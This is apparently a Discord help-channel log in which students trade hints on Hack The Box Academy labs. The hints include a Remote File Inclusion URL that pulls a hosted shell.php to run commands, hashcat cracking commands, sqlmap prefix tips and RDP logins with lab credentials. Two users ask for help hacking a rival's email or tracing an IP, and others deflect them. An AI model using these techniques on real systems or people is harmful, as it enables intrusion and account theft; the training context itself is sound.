
[muted hull]

Oh damn

you were correct

[mellow turtle]

Mohit's answer should be correct too

[muted hull]

Why didn't it have permission though

[mellow turtle]

idk, maybe u are trying to write a file in / without root privs

i didnt taked that module yet

[muted hull]

heh you certainly know more than me though

thanks again

[pliant panther]

i need help on finding someone's ip address

[mellow turtle]

For what @pliant panther

[pliant panther]

good question. some guy is saying he is gonna hack my account and sending me threats

spamming accounts

[mellow turtle]

Call the police

[pliant panther]

okay

[forest fulcrum]

hi folks, need a little nudge with exercise 8 in the Footprinting module of the pentester path

What is the FQDN of the host where the last octet ends with "x.x.x.203"?

I tried all DNS seclist files on pwnbox but no luck

[placid quest]

@forest fulcrum do brute force on dev subdomain

[forest fulcrum]

-.-

that should have been in the challenge hints

thanks @placid quest

one more quick question: where is this list provided exactly?

[placid quest]

@forest fulcrum look on the resources

[sudden shore]

@mellow turtle @muted hull no i wasnt referring to your challenge, i was referring to my own which was pwd bruteforce because after finding out the pwd policy you get around 15 pwds to test and you almost immediately get banned because of “too many tries”

And i dont think that works ok because the good pwd you need to find gets put at the end of the wordlist when you build it so 100% of the time right now you’ll get banned b4 actually trying out the good pwd

You shouldnt be banned in a pwd bruteforce challenge after 5 automated requests in a list of 15 like come on

[brave prawn]

Hey, can someone give a hint on SQL Injection Fundamentals Assesment? This module's sections seemed to be easy, but here I can't even login with injection...

[placid quest]

@brave prawn what is the problem

[brave prawn]

can i dm you?

[placid quest]

@brave prawn yeap

[brave prawn]

already wrote to you, maybe you are offline or you don't see because of settings, anyway

[eager rivet]

is anyone online that has completed the Skill Assessment - Broken Authentication? I've got the user and a pass list but must be missing something as nothing in my pass list is working

[lethal atlas]

🙋‍♂️ @eager rivet

[lethal atlas]

it was probably the local directory you were in on your vm. If you didnt have write permissions in that folder the get command would not work. Make sure you are in your home folder next time

[muted hull]

i see

how would i do that?

i just opened bash and started smbclient

wait

unless i had to sudo?

[mellow turtle]

chmod or sudo @muted hull

[lethal atlas]

@muted hull before you connect to smb in terminal do cd ~/

then execute smbclient and try to get the flag

[muted hull]

i see

thank you for the info

[hollow hinge]

Dm if your problem not resolved

[lethal atlas]

I still need help with the first question of skills assessment in Intro to Assembly Language.

[inland shoal]

You need help with ASM?

[lethal atlas]

yes

[inland shoal]

What's the question? 🙂

[lethal atlas]

I have pulled the shellcode out of the data section, but I can decode it as 32 or 64 bit and the 32 bit has commands not discussed in the module.

[inland shoal]

I haven't been on HtB for years, so I'm not sure about the modules etc. but I do have Assembly knowledge. What did you use to decode to opcode?

[lethal atlas]

can I dm you?

[inland shoal]

Sure

[latent sage]

please is anyone online that has complete the metasploit module ??

[placid quest]

@latent sage what is the problem

[maiden field]

in the module footprinting in the smb section there's a question that ask to find out which domain the server belongs to. I've been searching and i don't find anything. Can I get a hint ?

[brave prawn]

alreay solved, thanks

[placid quest]

@maiden field use enum4linux

[maiden field]

thanks i completely forgot about that

[latent sage]

i have difficulties completing the session and jobs section

[ripe musk]

hi can someon help out?
I've been trying to "get" flag.txt from Bob, but it just never downloads. it's speed is 0 and i never get a confirmation for the completion of its download
also, how long does a nmap -p- scan take? it's been over 30mins.

[raven cairn]

Nmap -p- scans all ports

[ripe musk]

yeah, i get that.

[raven cairn]

So it can take a long time. Really depends on what you are scanning

Usually you don’t need to do a full port scan tho

[ripe musk]

well thats kind of painful, considering this module needs me to find thru all the ports.

what about flag.txt?

[raven cairn]

What module is this?

@ripe musk

[ripe musk]

Service Scanning

[raven cairn]

In the Nmap module ?

[ripe musk]

yeah, thats what the hint says and thats what the question implies.

[raven cairn]

Dm

[pastel isle]

I'm getting a bit different pwn box

like it doesn't have useful repos and all

any idea how to get to the previous one

[broken warren]

I could use some assistance with foot printing easy lab (https://academy.hackthebox.com/module/112/section/1078) I've scanned for ports, found three open. scanned the first open one with all nmap scripts and logged onto the service but i can's list any files. I also tried using the given creds to ssh in but obviously that wont work lol.

[raven cairn]

I'm having problem with the ERC plugin in Windows Stack Based-Buffer Overflows 'Controlling EIp' section. I've done buffer overflows many times so I understand that I am supposed to do 'ERC --pattern o B5eB'.

However because the ERC plugin isn't working for me I can't get the flag.

[arctic acorn]

There's should be more ports. Did you try scanning all ports with nmap?

[rugged stag]

Can I DM?

[forest fulcrum]

is anyone having issues with the IMAP exercises?

server isnt responding to curl and not showing the correct results with nmap

[broken warren]

I ran "nmap -A <target ip> -p- " on my first scan I'll try running it again though

[placid quest]

@forest fulcrum can you ping the ip

[forest fulcrum]

I can

this is not how TLS response should look like

and this is curl curl: (35) OpenSSL SSL_connect: Connection reset by peer in connection to 10.129.193.197:993

[placid quest]

@forest fulcrum that looks like nmap results

[forest fulcrum]

shouls look something like this no?

110/tcp open  pop3     Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CODE SASL STLS TOP UIDL RESP-CODES CAPA PIPELINING
| ssl-cert: Subject: commonName=mail1.inlanefreight.htb/organizationName=Inlanefreight/stateOrProvinceName=California/countryName=US
| Not valid before: 2021-09-19T19:44:58
|_Not valid after:  2295-07-04T19:44:58
143/tcp open  imap     Dovecot imapd
|_imap-capabilities: more have post-login STARTTLS Pre-login capabilities LITERAL+ LOGIN-REFERRALS OK LOGINDISABLEDA0001 SASL-IR ENABLE listed IDLE ID IMAP4rev1
| ssl-cert: Subject: commonName=mail1.inlanefreight.htb/organizationName=Inlanefreight/stateOrProvinceName=California/countryName=US
| Not valid before: 2021-09-19T19:44:58
|_Not valid after:  2295-07-04T19:44:58
993/tcp open  ssl/imap Dovecot imapd
|_imap-capabilities: more have post-login OK capabilities LITERAL+ LOGIN-REFERRALS Pre-login AUTH=PLAINA0001 SASL-IR ENABLE listed IDLE ID IMAP4rev1
| ssl-cert: Subject: commonName=mail1.inlanefreight.htb/organizationName=Inlanefreight/stateOrProvinceName=California/countryName=US
| Not valid before: 2021-09-19T19:44:58
|_Not valid after:  2295-07-04T19:44:58
995/tcp open  ssl/pop3 Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CODE USER SASL(PLAIN) TOP UIDL RESP-CODES CAPA PIPELINING
| ssl-cert: Subject: commonName=mail1.inlanefreight.htb/organizationName=Inlanefreight/stateOrProvinceName=California/countryName=US
| Not valid before: 2021-09-19T19:44:58
|_Not valid after:  2295-07-04T19:44:58
MAC Address: 00:00:00:00:00:00 (VMware)```

cert details contains answers to some of the challenge questions

[placid quest]

Cert has no answers to the questions

[forest fulcrum]

can I DM you?

[placid quest]

Yeap

[night pier]

Need some help with whitebox pentesting syntax errors section. I have the right command connector and I have a successful ping but can't get any other system commands to execute

[rustic sage]

Can someone help me with a question from the web request module?

[brazen dust]

I for some reason can not get a DNS version for the medium module in the NMAP module, I have used multiple flags, scripts and the only version it will come up with the the NLnet Labs NSD as a version an that isn't the right answer

$sudo nmap -sSV -p 53 10.129.2.48 -D RND:50
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-19 15:59 EDT
Nmap scan report for 10.129.2.48
Host is up (0.045s latency).

PORT STATE SERVICE VERSION
53/tcp open domain NLnet Labs NSD

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.79 seconds

[rustic sage]

basically i'm running a curl get request on a web server but i'm not getting any output for some reason

[placid quest]

@rustic sage did you read the man page of curl

[lethal atlas]

your request is not formed correctly

[shrewd wasp]

Anyone know i can't connect or ping a machine in a specific challenge?

[proud sparrow]

anyone can help me with "nest" machine? im facing problem with smbclient ??

[shrewd wasp]

Solved it

[raven cairn]

vpn ?

[shrewd wasp]

Yeap

The "Hivemind" bot is actually usefull

[pearl island]

Stuck on the skills assessment for "Shells and Payloads." I have solved 2 machines though. Just need to confirm if I'm on the right track. Any help is appreciated!

[hallow osprey]

Is there voice channels on this discord server?

Where people talk

[raven cairn]

I can try helping out

What is the issue?

[pearl island]

So I was stuck on the second machine. The one where metasploit module was always crashing on some split error. I tried assigning the vhost and it worked.

Thanks for offering help though @raven cairn !😄

[pearl island]

I have a question regarding machine 3 on "Shells and Payloads." There is an upload functionality on the webpage where you can upload files. I uploaded the Antak web shell and got a working web shell. However, the intended way was to exploit a known vulnerability. My question is, I was unable to view any files under the Administrator directory from the Antak webshell, but could see them very well in the meterpreter shell. How does that happen?

[vale salmon]

So I'm working on the Abusing ACLs section of the Active Directory Enumeration & Attacks and when I attempt to use Set-DomainUserPassword it tells me that it is unable to find user 'damundsen', which would make sense if it didn't seem to be necessary for this section.

[livid pier]

anyone around finish windows priv esc skills 1?

[nimble ridge]

i put it in as you gave me and got this "Hash 'ipmi.txt': Separator unmatched
No hashes loaded.

[wheat garden]

did you run the command from the directory that contained ipmi.txt file you put your hash in?

[wheat garden]

could also mean the mode your using -m 7300 might not be right for the hash

can use a program called hash id using command "hashid -m <hash> "will show the hashcat mode of the hash if it can identify it

[nimble ridge]

no i was running it in the root directory

[wheat garden]

youd need to cd into the directory containing the ipmi.txt file or you can specify the file path as was done with the rockyou wordlist

[strange silo]

I've tried every tool, and even found one subdomain with elephants using the SecLists wordlists but it wasn't it. I've found it by using https://subdomainfinder.c99.nl. BUT it isn't at first sight, so I suggest reading all the page

[flat silo]

Hey can anyone help me out with finding the FQDN of an ip I've tried dig and can't get any kind if info

[nimble ridge]

i tried this "hashcat -m 7300 -a 0 ipmi.txt /usr/share/metasploit-framework/data/wordlists/ipmi_passwords.txt" and i get the same error. I must be missing something but I don't know what

[wheat garden]

hashcat -m 7300 -a 0 ||4af9ee3a82040000c70d59c758d07070f8805bc997c280c6eb48ba0868237f937bc6e631eed477e6a123456789abcdefa123456789abcdef140561646d696e:32b3335b435c8f8b13c0e23f200735606a654221|| /usr/share/wordlists/rockyou.txt this worked for me

[feral stump]

Pls try to avoid spoilers

[lyric echo]

Hey! Im stuck on Footprinting DNS last Question. Regarding finding the FQDN of the host the ends with x.x.x.203. Could someone please help? thanks.

[covert yew]

What’s best setting up a server with Mac or Linux ?

[sudden steppe]

Can anyone help with Footprinting FTP, Cant get the flag.txt file for the second question. Keep getting 331 Password required. Dont know the pass and cant seem to login anonymously

[lyric echo]

hey! You can DM me

[lyric echo]

Hey! Im stuck on Footprinting DNS last Question. Regarding finding the FQDN of the host the ends with x.x.x.203. Could someone please help? thanks.

[pearl island]

I can help with that. DM me.

[pearl island]

I can help. DM me.

[mellow wind]

Hello, I am stuck with sqlmap essentials case#5 I managed to get the flag but when submitting it I get that it is wrong answer

[placid quest]

@lyric echo what is the problem

[lyric echo]

hey crean, I was stuck on the Footprinting DNS section.. last question, regarding finding the FQDN for octet ending in x.x.x.203.. but OverFlaw gave me some pointers and I just figured it out

[placid quest]

@lyric echo you can brute force dev subdomain

[warped phoenix]

Hello, I am stuck with the Password Cracking Skills Assessment Hard. I have the password for the first user and can rdp into the machine. ||However, I am stuck trying to exfiltrate a .kdb file from the machine (blocked by GPO)|| Would anyone be able to point me in the right direction?

[vital adder]

try updog or download it with a meterpreter shell

[brave prawn]

Hey, can someone help with Sqlmap Essentials Skills Assesment? Can't find any POST or GET endpoints to run sqlmap on it(
EDIT: Someone who struggles with it, dm me)

[brave prawn]

DM me

[warped cape]

Hey, I am stuck with BROKEN AUTHENTICATION -> Predictable Reset Token, I added a script to check a token for the htbadmin within an interval of +-1 second (I check in milliseconds *1000) but it not works I also noticed that the timezone is not the same between the machine and the website I tried other timezones but it not works 😦 Someone can help ? I can show the script in DM

[raven cairn]

What’s updog?

[vital adder]

it's like using python SimpleHTTPServer but you can also upload file

[crisp remnant]

Need some help with the stability of the academy targets, where should i post ?

[loud sapphire]

like youll be ssh'd on and they just die suddenly with no warning?

and your timer still has plenty on it

[crisp remnant]

More or less... i am spawning a target and after around 2-3 mins i am starting to get connection refused... and the target is no longer working.

This is both with VPN from my own attack machine and the pwnbox...

[surreal marsh]

Yo I gotta say that I've just manually pwned Sqlmap essentials case6 instead of doing it through sqlmap. I've spent hours trying different prefixes etc...Somehow it was easier to exploit it that way which is kinda weird I've you've asked me. Now I'm kinda confused because I got the flag but didn't do it as intended.

[loud sapphire]

same boat. glad its not just me

[crisp remnant]

Any reason for that ?

[loud sapphire]

i figured it might have had something to do with my additional vpn. turning it off does seem to help but still some unreliability.

help someone. GTFOBins. busctl.

Doesnt give me much to work on for escalation...... or im just blind. can someone dm me pleasE?

[vital adder]

for the intended way use the prefix tag in sqlmap with the stuff recommended ||'`)'||

[surreal marsh]

I think I did that but somehow I'm missing something

[vital adder]

i have the ||suffix|| tag with the ||risk|| and ||level|| set to ||max|| in my note but i think i did test it without those tag and it's working fine so i think the tag you need is just prefix but i'm not 100% sure

[surreal marsh]

Ok thanks I'll try to play around with it a little more

[brave prawn]

hey, are you doing the task where it is said that you need to add ') as --prefix?

[surreal marsh]

Yeah

[brave prawn]

are u trying `) instead of ')?

[surreal marsh]

Yes

[brave prawn]

i will test it locally, 1 sec

[south lark]

anyone done the Info Gatering- Web Servers module for active subdmain enumeration?

[surreal marsh]

Ok

[lethal atlas]

yes

[south lark]

I'm a little confused if my resolving is messed up or if it's the design of the lab but if I try to query the domain with anything other than dig I get a timeout and there's no TXT records on any of the servers

[lethal atlas]

have you tried a transfer?

[south lark]

yeah that's kinda where the kicker is for me, because none of the subdomain bruteforcing tools resolve anything and the two/three that return with dig refuse a transfer

[lethal atlas]

did you put an entry for inlanefreight.htb in /etc/hosts?

[south lark]

yep!

[lethal atlas]

can you ping inlanefreight.htb?

[south lark]

yep!

[proven brook]

Good evening, i need help please. I'm on AD Enumeration & Attacks - Skills Assessment Part I Question 2. I already tried to bruteforce the open ports and i tried to upload powerview, mimikatz, rebeus, inveigh.ps1 and a few other things, but i can't get them to work on the webshell/remote box. I hope someone can dm me please with a big hint, because I'm stuck for about 2 days on question 2.

[lethal atlas]

then your command must be off. Feel free to dm me and we can look at what you have without spoiling it for others

[south lark]

yeah I will just a little odd because I'm using the same commands that I used to solve footprinting which imo is supposed to be harder lol

[lethal atlas]

I am still stuck on the skills assessment of intro to assembly. I am pretty sure I have the code right but I dont know how to get it to print out

[brave prawn]

it worked for me, dm

[brave prawn]

DM

[warped phoenix]

Hey everyone, I am still stuck on the password attacks - Skills Assessment Hard. I was wondering if I could reach out to someone to get a nudge?

[vital adder]

sure shoot me a dm if you still need help with that

[solemn jasper]

Hello, in FILE INCLUSION module- Remote File Inclusion section (question), when I tried to gain remote code execution through RFI with http://<SERVER_IP>:<PORT>/index.php?language=http://<ip>:<port>/shell.php&cmd=id, with shell.php hosted on python http server, I get "connection time-out" error. Does anyone know what am I doing wrong ?

[vital adder]

and did you see any request on your python server?

[solemn jasper]

No, the page had been loading for a long time until it threw the PHP connection time-out error

[vital adder]

i mean on your python server do you see any request from the target ip

[solemn jasper]

No

[vital adder]

that's weird

shoot me a dm i'll help troubleshoot

[loud sapphire]

was anyone able to help me with that elevation?
Linux Local Privilege Escalation - Skills Assessment
Flag 5
User can run b**ctl as root. but i cant seem to use it... im doign it wrong.

DM me?

[acoustic owl]

I may not have solved it the way it was once intended. But I got root.
Carlos Polop is your friend. With the help of his scripts you should find a ||CVE|| which you can use.

[wide river]

hi, im at footprinting LAB2, i cannot find the password of the username HTB, in fact i stuck right at beginning. anyway can give me a hint?

[west canopy]

make sure you ||upgrade your shell with the python one liner or the gtfobin won't work||

[vital adder]

check the what service is running on the ||lowest port|| from your nmap and go from there

[loud sapphire]

ill have a look

[autumn elk]

Hey can anyone give me help with the file inclusion skill assessment. I keep l breaking the server when I put the php in the User-Agent. I also for the ||/proc/|| I tried to poison that but broke it there too. If someone’s free can you walk me through?

[wide river]

you mean 111?

[vital adder]

||yes|| and you may want to put some spoiler tag on that

[wide river]

im new here so idk about spoiler tag, how you do it?

[warm kernel]

Can anyone give me a clue for: nmap firewall and ids/ips evasion, the lab?

[autumn elk]

@wide river use the double “||”

[wide river]

||ok

[autumn elk]

Like quotes lol

Sorry

[wide river]

"oh"

[autumn elk]

So do that in the front and back

[vital adder]

for images use this

[autumn elk]

@vital adder did you finish the file inclusion?

[vital adder]

hint the log file you need isn't in ||/proc/||

[vital adder]

yep

[autumn elk]

I found ||/access.log|| too but I break it there too

I tried curling it different headers

[vital adder]

that should be the right one and also did you found that in ||nginx log||

[autumn elk]

Base64,URL

[vital adder]

oh yeah can you send me the payload that you use for that

[autumn elk]

Yup yeah

I will when I get back to my desk

[vital adder]

no you can't use encode for log poisoning

[autumn elk]

Ok I figured because my code came up as text

Then I got ‘-‘ “

[vital adder]

i have no idea why you got that but about the payload that you use?

[vital adder]

you still need to put spoiler tag on this also i haven't ask if anyone else also have this issue yet but in the hard lab when you get the ||ssh key|| and you can't use it there is a chance that the ||key|| is corrupted and you can fix it quickly with putty but if you don't have it install or don't know how to fix it shoot me a dm with that ||ssh key||

[broken warren]

For anyone interested humblebundle.com has a good deal on Linux material. They are ebooks (can be downloaded as .pdf)

[loud sapphire]

python isnt on box. cant do it that way. tried the bash ones and nothing.

[west canopy]

what about python3 😉

[loud sapphire]

i was sure i tried that.....
completed.... thankyou very much.

[tepid hemlock]

No Starch Press is the best, never been disappointed by their books

[wide river]

hi, its me again with the footprinting lab2 medium, this is where i am now but why it still say permission deny even when i use chmod? what should i do, tks

[acoustic owl]

try it like this
$sudo mount -t nfs 10.10.10.10:/TechSupport ./target-NFS/ -o nolock

[wide river]

hah XD?

[brazen dust]

Any help finding the DNS Version in the NMAP module - medium lab would be much appreciated

[lethal atlas]

try sudo mount -t nfs 10.129.114.179:/ ./target-NFS/ -o nolock

[wide river]

i did

and then when i go inside target-NFS

and use tree .

permission denied

[woeful oxide]

hey guys

[warm kernel]

anyone here have done the hard lab on firewall ids/ips evasion? I need some help, and the hint button isn't working

[woeful oxide]

working on the skill assessment of web attacks module

[lethal atlas]

do a sudo su then change directories

[lethal atlas]

try scanning UDP and use the banner script

[woeful oxide]

someone could give me a hand? idk why I'm getting this error

[warm kernel]

just the UDP flag worked for me

[lethal atlas]

I have

[lethal atlas]

dm me

[woeful oxide]

thanks

[wide river]

hey, i done you advice and this is what i got. is that the right answer? what should i do next

[lethal atlas]

that looks good.

use those creds now

[wide river]

is there any thing need to login?

[lethal atlas]

xfreerdp

[wide river]

oh yaya, im doing it rn

[wide river]

i do something wrong?

[lethal atlas]

you need to put single quotes around the password due to the exclamation point.

xfreerdp /u:alex /p:'lol123!mD' /v:10.129.114.179

[wide river]

uhhhh

[wide river]

it's not working

[lethal atlas]

google that error about the display environment

[wide river]

ok im here now

[acoustic owl]

Alex has no rights to access the database. Search for another Windows user.

[wide river]

Administrator?

[tepid hemlock]

Try it

[wide river]

if so, how do i know the password

[acoustic owl]

There is a file, it has a password in it.

[west canopy]

i think xfreerdp might not work with root on PwnBox

[raven cairn]

Can I have help with the windows buffer overflows module

My machine can't download the ERC plugin

[west canopy]

@raven cairn ERC plugins are already set up on the RDP box

[raven cairn]

Awesome. Needed to attach it to a process, and configure it before running the tool

[brazen dust]

I just keep getting NLnet Labs NSD for a version no matter what I do lol shrug no clue what is going on

[warm kernel]

What other flags do you have? Feel free to PM me 🙂

[shrewd wasp]

Hello, anyone knows the reason for that I can connect to a target with the browser but can't ping it?

[near frigate]

Just started the SQLi module. How to connect to the SQL terminal ?.. nothing is woking

[warm kernel]

Firewall in the way perhaps?

does nmap detect the target?

[shrewd wasp]

No

[warm kernel]

http?

[shrewd wasp]

I don't think so, i could do the previous challenges without any problem

[warm kernel]

send us some screencaps

[warm kernel]

not ignoring you, I don't remember sorry

[shrewd wasp]

Of what exactly?

[warm kernel]

your commands that you are sending, the ping, and nmap scans

and another one with the browser, should give enough info to help you out hopefully

[shrewd wasp]

Ok, give me a min

that's fine?

@warm kernel

[warm kernel]

try nmap <ip> -p 30340

by default nmap isn't scanning that port

[shrewd wasp]

same response

[warm kernel]

tried -Pn?

[shrewd wasp]

ok, worked with Pn for that port

the 30340 one

[warm kernel]

perfect, now you can run you scans with that flag/port up

[shrewd wasp]

how?

[warm kernel]

ex: nmap <ip> -p 30340 --script vuln

for example

not sure, what you re looking to do next past this point

[strange silo]

It doesn´t work for me, I´m losing my mind

[shrewd wasp]

welp, it seems like it have a lot of vulnerabilities but now I am burried with information, what should I do?

[warm kernel]

depends on what the lesson covered, pretty vague without more info

[shrewd wasp]

"public exploits" challenge in Getting Started module

I have to search for vulns in that target and exploit it to find the flag

the lesson covered "searchexploit" and "msf"

I guess I should search for more ports, in particular if it is ftp or ssh, right?

I can't scan any other port tho, it says that the ports are in "ignored states"

with or without -Pn

[strange silo]

Solved it. It wasn´t the browser, the encoding needs to be only in some portions of the URL. I´ve shared it in the HTB forum page.

[warm kernel]

Likely a web based lab, based on interactions with the web application

[shrewd wasp]

I don't get what you are saying because I am kinda new, but thanks for the help

[frozen atlas]

Can anyone teach me also some basic coding

I am 11 class student

@everyone

[warm kernel]

Meaning, the web page that you visit, that's where you have to exploit of some sort, to get to the flag.

[west canopy]

yes no need for nmap, just navigate to the ip:port with your browser 😉

[wheat garden]

alot of basic coding tutotrials on youtube

[final salmon]

Ugh, stuck on last question of Footprinting module, IMAP/POP3. I am sure the answer is staring me in the face, but drawing blanks. Anybody able to assist?

[crimson warren]

Anyone here with azure pentest experience

[rustic sage]

Hi! I need help with Privilege Escalation. Im trying to Sign In to the ssh by using: ssh root@host -p xxxx -i id_rsa AND it says me "Load key "id_rsa": error in libcrypto". I did chmod 600 but still nothing. Can you help me pls?

[pearl island]

I can help. DM me.

[timber light]

Hi, can anyone help me with the whitelist filters for File Upload Attacks? I managed to upload the file with something like ||.php\x00.jpg|| but i cant seem to access the files

[blazing socket]

Is it related to a module?

[rustic sage]

Can anyone help me to hack a email ID ?

[e-mail]

This is the email

[acoustic owl]

https://support.google.com/accounts/answer/7682439?hl=en

[rustic sage]

I can't get help from that thing

[placid quest]

@rustic sage do you want to hack someone's email

[rustic sage]

Actually Yes

That person ruined my career

I wanna ruin his YouTube channel

[granite plover]

Im stuck on find the easy pass - I have little knowledge on debugging an exe in kali... this walkthrough I was trying to use, after searching for strings, the address values are missing. I assume this is because it's not actually running the exe, just looking into it - how do I get ghidra to run it? is that possible with the current version of ghidra?

(that screenshot is from the walkthru images)

my view of ghidr doesnt have those ref addresses

this is what I see

im thinking this is because its just static, not running... and that somehow I need to link ghidra to a debugger that can run it...

[zealous flax]

Hello, I just have started in learning more about Windows from the Windows fundamentals module, and I was wondering what is the Windows Build Number ? I searched about it, but all what I found from searching is some info about Windows versions. So, does this mean that the Windows build number is the same as the Windows version ?

[unique valve]

Typically Microsoft uses a number to identify the Windows version. Apple uses something fancy like an animal or location in the world. For example the current version of Windows is Windows 11. Consider this within the context of that challenge question.

[rustic sage]

Hi! I need help with Privilege Escalation. Im trying to Sign In to the ssh by using: ssh root@host -p xxxx -i id_rsa AND it says me "Load key "id_rsa": error in libcrypto". I did chmod 600 but still nothing. Can you help me pls?

its on my local VM

[shrewd wasp]

I used searchsploits to search for exploits, (obviously) and found it, but don't know how to download or use it.
can someone explain me how to do it?

[tidal compass]

Morning folks. I find myself stuck again on a module. It's the cracking passwords with hashcat. I'm on the cracking common passwords section. The test question is : Crack the following hash: 7106812752615cdfe427e01b98cd4083 I've tried everything. Even looked at the hint which states "Use hashid to identify the hash, and then use one of the Hashcat built-in rule sets or hybrid mode to help you crack it.". I used hashid, and got a few possibilities as the type of hash but nothing specific. Even if I start at the top of them, I still wouldn't know which rule set to use. I'm missing something I'm sure. Any help would be appreciated. Feel free to pm me. Thanks so much.

[placid quest]

@shrewd wasp use searchsploit -m the exploit

[shrewd wasp]

it seems that it throws an error

[!] Could not find EDB-ID #

[placid quest]

@shrewd wasp what error

[shrewd wasp]

[!] Could not find EDB-ID #

it's a error, right?

[placid quest]

Read the man page of searchsploit

[shrewd wasp]

ok, EDB-ID # it is the dir where it copys, but in where should I copy it?

[placid quest]

Can i see the screen shot

[shrewd wasp]

that was the screenshot that you wanted?

@placid quest

[vital adder]

let say you found a exploit that you need from searchsploit use -m like this to copy that exploit into your current directory searchsploit -m linux/remote/69420.py

[vital adder]

shoot me a dm if you still need help with that

[drifting knoll]

nope, it wouldn't

[vital adder]

also this error mean the exploit you are trying to copy don't exist or you copying from the wrong directory

[maiden field]

In the footprinting module in the dns section for the last question "What is the FQDN of the host where the last octet ends with "x.x.x.203"?" I've try a lot of things but i cant find this fqdn. Any tips ?

[hollow basin]

Hi guys. I'm new to htb challenges. I was trying to root the new shoppy machine but I got stuck somewhere, can I ask for any hint/ideas on how to proceed from there?

[shrewd wasp]

thanks for the explain man, it worked
I was confused about which dir i did have to insert there, I thougth that i needed to put the dir that I wanted the exploit to be copied on ,now I get that it was the one that searchsploit says

[drifting knoll]

reread the part of DNS zones carefully

[vital adder]

ask this in #1020723396524396594 if you can't access that verify first

[hollow basin]

I can't access it, so I guess I need to verify first but how do I go about that?

[vital adder]

use ++verify in #bot-commands

[drifting knoll]

be careful with spoilers trev0ck

[hollow basin]

Thanks for the assist. It worked.

[frozen atlas]

java.io.FileNotFoundException: C:\Users\meera\OneDrive\Desktop\MarsUltor (Access is denied)

how to resolve this exception

[vital adder]

hi sorry for the ping but in the linux privesc module Skills Assessment i found some cve that give me root instantly is this intended?

[drifting knoll]

feel free to DM

[vital adder]

sure thanks

[west canopy]

i think i know what exploit it is 😉

EDIT: i was wrong!!!!

[brazen dust]

Just a heads up to the ones that do not know yet, I had a lab that no matter what I did it wouldn't work with my VM but worked with the VM instance on the site.

[lethal atlas]

which lab was that?

[brazen dust]

the NMAP module medium lab when trying to find the DNS version

it was giving me a weird NLNet Lab NSD as I posted above but doing the same thing in the instance I got the flag

[lethal atlas]

I know of a couple of people who have that issue, however that is not the case for me. I can complete the task from my vm without issue.

[brazen dust]

👍

[naive ravine]

Did anyone have to reboot the target every time on during the Bypassing Other Blacklisted Characters Module exercise of the Command Injections Section of https://academy.hackthebox.com/module/109/section/1037 ?

[feral stump]

Dm me if you need it

[zealous flax]

Great, I got you thanks man XD

[frozen atlas]

Can anyone tell

[shrewd wasp]

every time I try to log with ssh to the server in Getting Started | privilege escalation it throws me "connection refused"
what should I do?

[west canopy]

can you show me your command?

[shrewd wasp]

ssh user1@159.65.90.3 -p 31100

do you want a screenshot or you're ok with that?

[west canopy]

that looks right

maybe try respawning the target? just tested on my kali vm and i was able to ssh

[shrewd wasp]

fresh target

and nothing @west canopy

[west canopy]

i would try the PwnBox

or a different vpn key

[shrewd wasp]

ok, thanks for the help ❤️

[lament tartan]

got a question about the Footprinting Lab - Easy, any staff free? n/m, i'm a n00b 😅

[autumn pilot]

you don't need a VPN for the docker targets

if your ISP is blocking somehow the outbound connection to the targets, then you should either use the workstation or a VPN to change your location and etc

[west canopy]

oh right ... good call 😉

[vapid grove]

hi, i'm using bloodhound at Active directory module, and the upload of the files to the bloodhound program is freezed at 0%, it has happened before and i don't know how to fix it

the command i used was basically the one they give

[warm kernel]

anyone have time to help me with ftp lab in the module footprinting?

[placid quest]

@warm kernelwhat is the problem

[warm kernel]

hey thanks for reaching out! 🙂 Current problem is that I don't have permissions to access the file, and I've tried countless combinations of creds with the hint to use full email address as the password

[vital adder]

so are you on the ftp section or the Skills Assessment lab?

[warm kernel]

host based enumeration: FTP

[vital adder]

and my note is a bit dumb for this part so give me a sec i need to check some stuff

oh yeah you can't get the flag for some reason

[iron basin]

Hey any help on NMAP module, hardlab question? I found the port and service, cant find the version. Been trying out the steps in the module and looking at hints online. I tried using netcat with the sourceport however the source port throws an error of saying its a binding issue.

[vital adder]

i have nothing in my note about this you should be able to just get the flag

[vital adder]

you are on the right path shoot me a dm i'll help you with that

[warm kernel]

ill go try on my VM instead of the pwnbox, although im not sure, the permissions seems set this way

[vital adder]

oh wait

i hate the new pwnbox the terminal spawn you in /root but you aren't root

so if you use the get command in ftp it will download to flag to /root so the permission denied error is from the pwnbox not the target machine

[vital adder]

yep just cd out of /root and you are good

[warm kernel]

RIP, I just sudo'd it, and it worked...

[vital adder]

yep or that

[warm kernel]

sometimes.... just the stupidest little thing xD

thanks for the help

[vital adder]

no this is case the new pwnbox is stupid

[warm kernel]

I told myself yesterday I wasn't going to use the pwnbox anymore for other issues xD

and here I am being lazy again, and costing me an hour of nose bleeds

[brazen dust]

😆

[nimble ridge]

can someone help me with this question for intro to python3. "The type of foo from question 1 is <class 'set'>. What is the type of x_coordinate?" i've tried all the different python data types and i can't figure out what the question is asking for

[normal spear]

Make sure you're entering it in the right format, it's most likely looking for an answer in the form of <class 'datatype'> or similar

[nimble ridge]

wow, yes thank you, i got it!

[brave prawn]

hey, just was interesting to ask..about 6 modules left in jr penetration tester path. have made starting point machines and they are labeled as “very easy”, but personally it was not so easy) and my question is, is it okay overall? and can anybody who switched from academy to machines recommend the right way to do it and gain the level? is it real to find good machines without vip?

[quiet trout]

can someone help me udnerstand what the diff bw these two packets are? https://imgbox.com/thClf6jl -- beyond the basic that one is a tcp packet and the other an http packet, and that both are being sent on port 80, im having a hard time understand the true difference... as the data in the tcp packet contains the http request.

so is the host informing the server of an incoming http request, and the second packet is the request itself, or ... ?

[brave prawn]

yeah same thing is on 27,28 lines before GET request

[quiet trout]

so the host sends a tcp packet to inform the server of an incoming get (or other type of) request?

then sends the request? seems a little redunant?

[brave prawn]

can’t tell exactly what is going on the lowest level, but i think, firstly it asks the host like “do you exist” and then request a resource from the webserver

[quiet trout]

ah, that makes sense.

im also noticing that for wireshark you can issue a tcp.stream == [0,...,n] but you cannot do that for udp.stream, its either udp.stream or nothing you cannot do udp.stream == [0,...,n] does that seem correct? a limitation of the software?

or does it have to do with udp being connectionless so theres no way to quantify a stream or conversation?

wireshark seems to be able to colorize the "conversation" (or perhaps what it believes to be the conversation) pretty reliably, so i figured you'd be able to filter by it as well, but i do notice that wireshark is also grouping all the packets, even tho "conversations" are colorized, as one stream group

even with discontinuous packet numbers/orders -- https://imgbox.com/EPlNPTlc

